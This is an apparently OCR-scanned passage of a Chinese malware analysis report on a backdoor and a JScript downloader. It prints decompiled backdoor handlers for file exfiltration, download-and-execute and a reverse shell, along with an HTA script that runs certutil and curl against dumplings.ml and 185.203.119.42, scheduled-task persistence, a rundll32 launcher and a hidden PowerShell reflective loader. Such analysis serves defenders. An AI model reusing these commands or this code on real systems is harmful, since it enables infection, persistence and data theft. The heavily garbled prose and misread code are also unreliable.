v99 = strtok(string, ",");
sub_100e9B4e((int)v1so, vo9);
LOBYTE(v195) = 26;

/] FIW—24 45 % R 5 HDelF

/1 ENCER BRSO R R A

sub_100089740(v159, (int)Src, @, v1ed - 1);

LOBYTE(v195) = 27;

sub_10009B40( (int)lpCmdLine, "FiNF");
LOBYTE(v195) = 28;
sub_100ec540(FileName, (LPCCH)Src);
v108 = sub_10002900(FileName);
sub_100020Da(( DWORD **)FileName);

if ( viee )

{

Ch =¥ S

v181l = (const CHAR *)sub_18009880(Src);

DeleteFileA(v101);

/] MRESRE S

sub_ 10089960 ( (char *)lpCmdLine, "FiDS");

sub_1e0eC540(FileName, (LPCCH)Src);
v102 = sub_10002900(FileName);
sub_100820De( (_DWORD **)FileName);
if ( viez )

sub_1000996@( (char *)IpCmdLine, "FiDF"};

}
sub_10002BA@((int)lpCmdLine, v36, 1);
sub_100089%A0(1pCmdLine);

v1@3 = Src;

L_290@:
sub_1000899A0(Vv103);
v84 = v158;

goto LABEL_291;

&3-57 Mt E X

if ( !'sub_1eeec33e(v172, "FeFi") )
break;

memset(String, @, sizeof(String));

if ( !'v3g(v3e, String, 1024, @) )
goto LABEL_293;

strtok(string, ",");

vo2 = strtok(e, ",");

sub_100e9B40((int)lpCmdLine, v92);

LOBYTE(v195) = 19;

sub_1eeecs54e(src, (LPCCH)IlpCmdLine);

v93 = lsub_1000290e((const WCHAR *)Src);

sub_100020D0( ( DWORD **)Src);

if (ve3 )

{
sub_100e9B40((int)Src, "FNoF");
LOBYTE(v195) = 2@;
sub_10002BA@((int)Src, v3e, 1);
sub_100099A@(5rc);

// [EfERRR

/1 FWi—ZiFa4 R T AFeFi

[/ W gtR4

/1 KRR E T

/1 EfERRIR

Sleep(@x186A0U); /1 RIR
v94 = lpCmdLine;
}
else
{
v95 = (const char *)sub_1@@0988@(1lpCmdlLine);// [FlfEfile
ve6 = fopen(vos, "rb");
if ( voe )
{

sith 100A9R4AA( (intYsrec . "FeFi"):
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LOBYTE(v195) = 22;

sub_10@8@2BA@((int)src, v36, 1); // EMERRIR —_—
fseek(vo6, 0, 2); o S *
ve7 = ftell(vee);

rewind(vo6);

v98 = (char *)malloc(1lu);

if ( vos )
{
if ((vo7 > @)
{
do
{
if ( fread(ves, 1u, 1lu, v96) )
send(s, vog, 1, @); /7] [EME S EER
--v97;

while ( v97 );
}

v36 = s;
gmemcpy(v171, "@~!)", sizeof(vi71));// [ElfE@~!), triR 0 BfEEE
send(s, &v171[3], 1, ©);
send(s, &v171[2], 1, @);
send(s, &v171[1], 1, ©);
send(s, v171, 1, 9);
}

else

{

V36 = s
}
}

else

{
sub_10009B40((int)src, "AcDe"); /7 TR S

LOBYTE(v195) = 21;
sub_1@0002BA@((int)src, v3e, 1); // [EEFRIR

}
sub_100099A0(5rc);

fclose(vo6);
Sleep(@x186A0u); // RER
v94 = lpCmdLine;

&3-58 Li&tEEX

if ( sub_leeec33e(vi7z, "DWNL") ) 7 HEF—ES B ADNL
{
memset (String, @, sizeof(5tring));
if ( v38(v36, String, 1824, 8) ) /7 BT ERES
{
v112 = strtok{String, ",");
sub_188e9Bae((int)visa, v112);
LOBYTE(v195) = 34;
if ( !sub_1@88B8C338(v159, "DWNL") && !sub_1888C338(v159, "DWNE") )// HEF s
{
w131 = v159;
goto LABEL_322;
H
w113 = strtok{e, ",")
sub_18eesBae((int)vls
LOBY¥TE(v125) = 35;
w114 sub_1888988a(v15a);
V115 = sub_1881617B((int)v114);
V116 = strtok(@, ",");
sub_188e9B48((int)Src, v116);
LOBYTE(v195) = 36;
sub_18889748(Src, (int)lpCmdline, 8, w173 - 1};
LOBYTE(v195) = 37;
V118 = sub_18889788((char *)Src, "\\", v117);
sub_18889748(Src, (int)}FileName, 8, v118 + 1};
LOBY¥TE(v125) = 38;
sub_1088C548(EBlock, (LPCCH)FileMame);
w119 = lsub_10862906( (const WCHAR *)Block);
sub_18882e08( (_DWORD **)Block);
if ( w119 )

;
8, v113);

sub 188eCs48(Block, (LPCCHIFileNams);
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LOBYTE(v195) = 39;
sub_16e826D8( (LPCWSTR)Elock);
LOBYTE(v195) = 38; )
sub_168082808( (_DWORD **)Block); —_

. _ ((_ ) IH ““,SJZEEE

w128 = (const char *)sub_18889888(1lpCmdLine);// EE RIS

w121 = fopen(v12@8, "wb"};

if ( w121 )

{

if ( v1ls > @ )
{
do

Vi1l = @;
recv(s, &v1B1, 1, B); 70 MCHEIREE
furite(&v1s1, 1u, lu, viz1); rf B ge

--v115;

}
while { w115 };

¥
fclose(vl2l);

w3ib = s5;
H
else
{
sub_1@883B48((int)Block, “"FNMR");
w36 = 53
LOBYTE(v135) = 4@;
sub_18ee2BA8((int)Elock, s, 1); 7/ EfERD

LOBYTE{v195) = 38;
sub_188899A8(Elack);

H

sub_1888C548(Block, (LPCCH)YlpCmdLine};
w122 = sub_108862988((const WCHAR *)Block);
sub_188828D8(({ DWORD *+*)Block);

if ( vi22 )

if ( sub_1@eeC3z3e(v15o, "DWNE") ) /7 HBF iR
i
sub_18889BC@(Elock, (int)lpCmdline)};
LOBYTE{v195) = 41;
w123 = (const CHAR *)sub_188B89888(Elock);
if ( winExec(v123, 5u) ) 7 WATRIAT
{

sub_1@esaB4e( (int)vise, “"DnEx"):// HITREID
LOBYTE(v195) = 42;
H

else

sub_1@889B48( (int)v15E, "ExeF");// HMiTHMm
LOBYTE{v125) = 43;

}
sub_18882BAB((int)vis6, w36, 1); // [EE4RD
sub_188899A8(v156);
w124 = Block;

H

else

{
sub_18889B48( (int)}Block, "JuDo"); // JustDownload. DB T#
LOBYTE(v195) = 44;
sub_18B82BAB(({int)Block, v3a, 1); // EHE4RD
w124 = Block;

1

1

else

i
sub_1@@esB4a( (int)vi56, "DowF"); 7 T
LOBYTE{v195) = 45;
sub_1eee2Bae((int)viss, w36, 1); 7/ EEERD
vi24 = v156;

¥

E3-59 TEX M RPITI
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if ( sub_1888C338(v172, “"ReSh") ) /0 HEF—RES RS MRS

memset(String, @, sizeof(String));

if ( tv3s(v3s, String, 1024, 8) ) /7
goto LABEL_293;

strtok(string, ",");

184 = strtok(®, *,");

sub_1@8e9B48( (int)v159, vigda);

LOBYTE(v195) = 29;

w185 = strtok(®, ",");

sub_186889B48((int)1pCmdline, w1B5);

LOBYTE(v195) = 38;

w186 = (char *%)sub

sub_18889A18( (char

sub_1880899A8(5rc);

WsAStartup(@x282u, &WSAData);

w187 = (void *)WSASocketa(2, 1, 6, @, @, @);

name.sa_family = 2;

18889748 (1pCmdLline, (int)Src, @, w183 - 1);
YlpCmdLline, w1B6);

188 = (const char *)}sub_ w159);

aa ( t ch #)sub_18e8988a(v159)

*(_DWORD *)&name.sa_data[2] = inet_addr{v1es);
189 = sub_leeegsse(lpCmdline);

V118 = sub_18e16176((int)v1e9);
*(_WORD #)name.sa_data = htons(v1l@)};
if ( WSAConnect((SOCKET)v187, &name, 16, 8, 8, @, @) == -1 )
{
closesocket ((SOCKET}wle7);
WsACleanup();
sub_18889B84@((int)5rc, "UC");
LOBYTE{v135) = 31;
¥

else

{ ——
memset({v185, @, sizeof(v1E5)); wrni
if ( v3B((SOCKET)vle7, w185, 1824, @) <= 8 )// i
{

sub_18889B48( (int)src, "BC");

LOBYTE{v195) = 32;
sub_18882BAB( (int)5rc,
closesocket { (SOCKET Jvle
WsACleanup();

goto LABEL_269;

/7 EHEFRR

JORD #)CommandlLine = 2125774259;
CommandLine;
wl84 = 11913397,

while { #v111 33
memset (&StartupInfo, @, sizeof(StartupInfo));
StartupInfo.cb = 68;

StartupInfo.dwFlags = 257,

1ET -

StartupInfo.hStdError =
StartupInfo.hStdOutput
StartupInfo.hStdInput = vl
CreateProcessal

a,

CommandLine,

¥

(-

-

&@PH@@

»
&5tartupInfo,
(LPPROCESS_INFORMATION)}&ProcessInformation.hThread);

WaitForSingleObject{ProcezzInformation.hThread, @xFFFFFFFF);

CloseHandle{FrocessInformation.hThread);

CloseHandle( (HANDLE )ProcessInformation.dwProcessId);

closesocket ((SOCKET)wla7);

wWsaCleanup();

sub_18ee9Bae((int)src, "Hi");

LOBYTE{v195) = 33;

T
sub_18882BA8((int)src, vie, 1); /4 [EERED

[&]3-60 x3#Shell
3.2.4 THRH/AH

JScriptB I —FE | TEITRTWeb TAIFTHIMAES . B RFF T ECMAScripthrEFH B F E 2 MK FNetscape
B 4z AfdJavaScriptfi i—MES . SEHMFZREES

B, FFRBRACNER., BEXAERASRERKNR, DRITR.

h

==

—#¢ , Microsoft JScript 2 BXAARIRE

KEEFAIScriptE SRS K T ERSEH , 10 BIFLSAEACH BENEAD, VBSHARLRE I RA N,

HEEBBITRAEN TEFTR :
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C2iR%HaR

=i

JScript FEEARD HEREE

s TEVBSHE. C++AD. N g | THiStage 4 CHEIRIAD i o
i Stage 3 CHTFEREAD 4 io o =
RIHIES | ERNER LigEe
‘Eﬁ k
e it . N omES, ENES ’ .
. Stage 3 CHF#HEARD Stage 4 CHEIEEAD
VBSHIA CHARD
3-61 JScript FEEHITIRAR
#%3-9 JScript F&E AL
RELR Trojan[Downloader]/JScripts.Agent
R4 157720846
MD5 157C6E86D68D98F777D37C3753322F69
SCHEER/N 2.41 KB (2,474 bytes)

BRES JScript
VTE W L{E03E  2022-04-08 16:09:11 +00:00
VTSGR 10/58

JScript FEE AR D SARIBN TR NIZEERARNTEENRGRA , 25 , NARIERRMNAERITARMGS.

W RSERRA R Windows7 , BN 28 NAZ A “Windows NT 6.1 , i@ §4-47 L A CMDF| A A%t T B Certutil Fak /4%
WHEHR (—ACH+ETHEAD, —NCHTIEEARD, —MVBSHZE, —44% K ZeroToleranceMonth.jpg"fI3C |
ZeroToleranceMonth.jpg X4 5B EAEE F304F) |, AR IBid schtasksan 4613 4 h“calcured 2 it XIMES .

W RS ERAIEWindows 7l |, WA @i CMD4 44T LA F Fourl.exe FE EEIER AT , AR IE T schtasksiy 4 diliE %
A“WinEvent5" Bt XI{ES.

<html>

<head>

<script language="jscript”>

if (window.navigator.userAgent.indexOf("“Windows NT 6.1%)!= -1)

{

var d = "cmd /c certutil -urlcache -split -f http://dumplings.ml/ZeroToleranceMonth.jpg c:/windows/tasks/dummy.txt™;
new Activexobject('wScript.shell’).Run(d,8,true);
var d2 = "cmd /c certutil -urlcache -split -f http://dumplings.ml/Kewiuryjd.txt c:/ProgramData/JumbaCHREW.Ext™;
new ActiveXObject('WScript.Shell®).Run(d2,8,true);
var ¢ = "emd /c certutil -urlcache -split -f http://dumplings.ml/)dsuifyiusdyf.txt
¢:/windows/tasks/Jdsuifyiusdyf.txt";
new ActiveXObject('wScript.Shell').Run(e,8,true);
var f = "emd /c certutil -urlcache -split -f http://185.2083.119.42/uphta/z.vbs c:/windows/tasks/z.vbs";
new ActiveXObject('WScript.Shell').Run(f,8,true);

var y= 'cmd.exe fc notepad.exe "CiWindows\\Tasks\\ZeroToleranceMonth.jpg” & schtasks /create /sc minute /mo 5 /tn
"calcure42” /tr C:\\Windows\\Tasks\\z.vbs';
new ActiveXObject('WScript.Shell").Run(y,@,true);

}

else

{
if (window.navigator.userAgent.indexOf("WOW64™) != -1 ||

window.navigator.userAgent. index0f("Wing4") != -1 ){
var c= ‘cmd.exe /k curl.exe --output “C:\\Windows\\Tasks\\ZeroToleranceMonth.jpg" --url http://dumplings.ml/ZeroToleranceMonth.qipg &
C:\\Windows\\Tasks\\ZeroToleranceMonth.jpg & curl.exe --output "C:\\ProgramData\\JumbaCHREW.txt" --url
http://dumplings.ml/Kewiury txt & curl.exe --output “C:\\Windows\\Tasks\\Jdsuifyiusdyf.txt" --url
http://dumplings .ml/Jdsuifyiusdyf.txt & curl.exe --output "c:\\windows\\tasks\\z.vbs" --url http://185.283.119.42/uphta/z.vbs &
schtasks /create /sc minute /mo 1 /tn "WinEvent5" /tr "c:\\windows\\tasks\\z.vbs"';

new ActiveXobject('WScript.Shell').Run(c,8,true);

else
var c= 'cmd.ixe /Jk curl.exe --output "C:\\Windows\\Tasks\\ZeroToleranceMonth.jpg" --url http://dumplings.ml/ZeroToleranceMonth.jpg &
C:\\Windows\\Tasks\\ZercToleranceMonth. jpg & curl.exe --output "C:\\ProgramData\\JumbaCHREW.txt" --url
p://dumplings.ml/Kewiuryjd.txt & curl.exe --output "C:\\Windows\\Tasks\\Jdsuifyiusdyf.txt™ --url
//dumplings.ml/)dsuifyiusdyf.txt & curl.exe --output "c:\\windows\\tasks\\z.vbs" --url http://185.283.119.42/uphta/z.vbs &
schtasks /create /sc minute /mo 1 /tn “"WinEvent5" /tr “"c:\\windows\\tasks\\z.vbs"';
new ActiveXObject("wScript.Shell™).Run(c,@,true);

}

</script>

</head>

<body>
<scriptrself.close();</script>
</body>

</htal> [&]3-62 JScript
THEARDG

BT FEIVBSHARIHEENFI A RS TARUNIB2IZTCH Bh#E A D,

Set WshShell = WScript.CreateObject (“WScript.Shell™)

Set colProcessList = GetObject("Winmgmts:").ExecQuery (“"Select * from Win32_Process™)
For Each objProcess in colProcessList

If objProcess.name = “rundll32.exe" then

vFound = True

End if

Next

If vFound = False then

Set WshShell = WScript.CreateObject("WScript.Shell")

WshShell.Run “cmd.exe /k ""C:\Windows\System32\rundll32.exe C:\Windows\Tasks\Jdsuifyiusdyf.txt skjdhfhksf",e,false
End If

[%]3-63 z.vbs
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#3-10 C++ BB AD

RERH Trojan/Win32.Agent

FRIA3CH4  jdsuifyiusdyf.txt

MD5 EO5AF60FBB3EC9110ACBF38CD1071F52
Ui Intel 386 or later, and compatibles
RN 111 KB (114,176 bytes)

SRR Win32 DLL

IR, 2022-04-01 12:51:45 +00:00

BFe4 T
yili G i I
WEES Microsoft Visual C++ v.7.10 - 14.27

I TFERNC+H EsB AT T EDEE 4132 4 K “Daily Trigger Test Task" I TXHES , B+ 4FI B ARG T EPowerShell

y—
HfTStage 3 CHTFHREARD,
psz[4] = @;
L= 7;
LOWORD{p=z[8]) = 8;
sub_leee2lee(psz, L1C; WiWWindowsy\System32\ \WindowsPowerShelly\vl.@\ \powershell.exe |_, 570
8 = B8;
B6 = @;

=7
LOWORD( [ej) = &;
sub_10082188(

L™ -windowstyle hidden -C $dshfks = \“\"\"C:\\ProgramData'\JumbaCHREW.Etxt\"\"\";echo fhgfhffhfh;[Reflection.Assembly]:"
":LoadFile($dshfks);echo fhgfhffhfh;%banana = New-Object RiouckkjdiEjkhd.Classl;echo fhgfh#fhfh;Ebanana.Nskjdhfkjsdh"
"f()iecho fhgfhffhfh;\"",
745);
LOBYTE(vEE) = 1;
ppv = @;
= CoCreateInstance(&rclsid, @, 1lu, &riid, &ppv);
if(vic<o)
{

sub_leeele2e("Failed to create an instance of ITaskService: %¥x", vi);
CoUninitialize();

1 = 1;
goto LABEL_179;

FEIITHDS

if ( (int)vie < @ )
{

sub_108810828("Cannot get Root Folder pointer: %x",

v = ppv;

goto LABEL_177;
H
v1ll = (int **)sub_leeellBe((OLECHAR *)L"Daily Trigger Test Task"b;
LOBYTE(v88) = 8;

&]3-65 TSI AR

&3-64 1TX1E
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<?
<Ti

<f

xml version="1.@" encoding="UTF-16"2>
ask version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task™>
<RegistrationInfo>
<AuthorrAuthor Name</Authors
</RegistrationInfo>
<Triggers>»
<CalendarTrigger id="Triggerl”>
<Repetition>
<Interval»PT15M</Interval>
<Duration>P1@D</Duration>
<StopAtDurationEndsfalse</StopAtDurationEnd>
</Repetition> . e
<StartBoundary>2005-81-81T12:05:00</StartBoundaby> = TF
<EndBoundary>2199-95-82T12:85:08</EndBoundary>
<Enabled>true</Enabled>
¢ScheduleByDay>
<DaysInterval>l</DaysInterval>
</5cheduleByDay>
</CalendarTrigger>
<fTriggers>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
<5toplfGoingOnBatteries»true</StoplfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenavailablesfalse</StartWhendvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailables
<IdleSettings>
<Duration>PT1@M< /Duration>
<WaitTimeout>PTIH¢ /WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnds>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
(Enab]ed)tPuECIEnabledﬂ
<Hidden»false</Hidden»
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
<Priority>7</Priority>
<fsettings>
<Actions Context="Author":
<Exec>

<Command>C : \Windows\System32\WindowsPowerShellivl.@\powershell.exe</Command>
<Arguments>-windowstyle hidden -C $dshfks = “*“C:\ProgramData\JumbaCHREW.txt""";echo
fhgfhffhfh;[Reflection.Assembly]::LoadFile($dshfks);echa fhgfhffhfh;$banana = New-Object

RioucXkjdiEjkhd.Classl;eche fhgfhffhth;$banana.Nskjdhfkjsdhf();eche Thgfhffhfh;"</Argumentsy|

</Execr
</Actions>
<Principals>»
<Principal id="Author”>
<UserId> < /UserId>
<LogonType>InteractiveToken</LogonType>
{RunLevel:LeastPrivilege</RunLevel:
</Principal>
</Principals>
Task>

[&]3-66 1T XI1E% TaskL (4

04

KEKER

RARCERTEL T R FF MR I KBXF RGN PRI A B TIRAN T , KIVASAIRC++ R IR D A KIXEI &

Z RN ETES.
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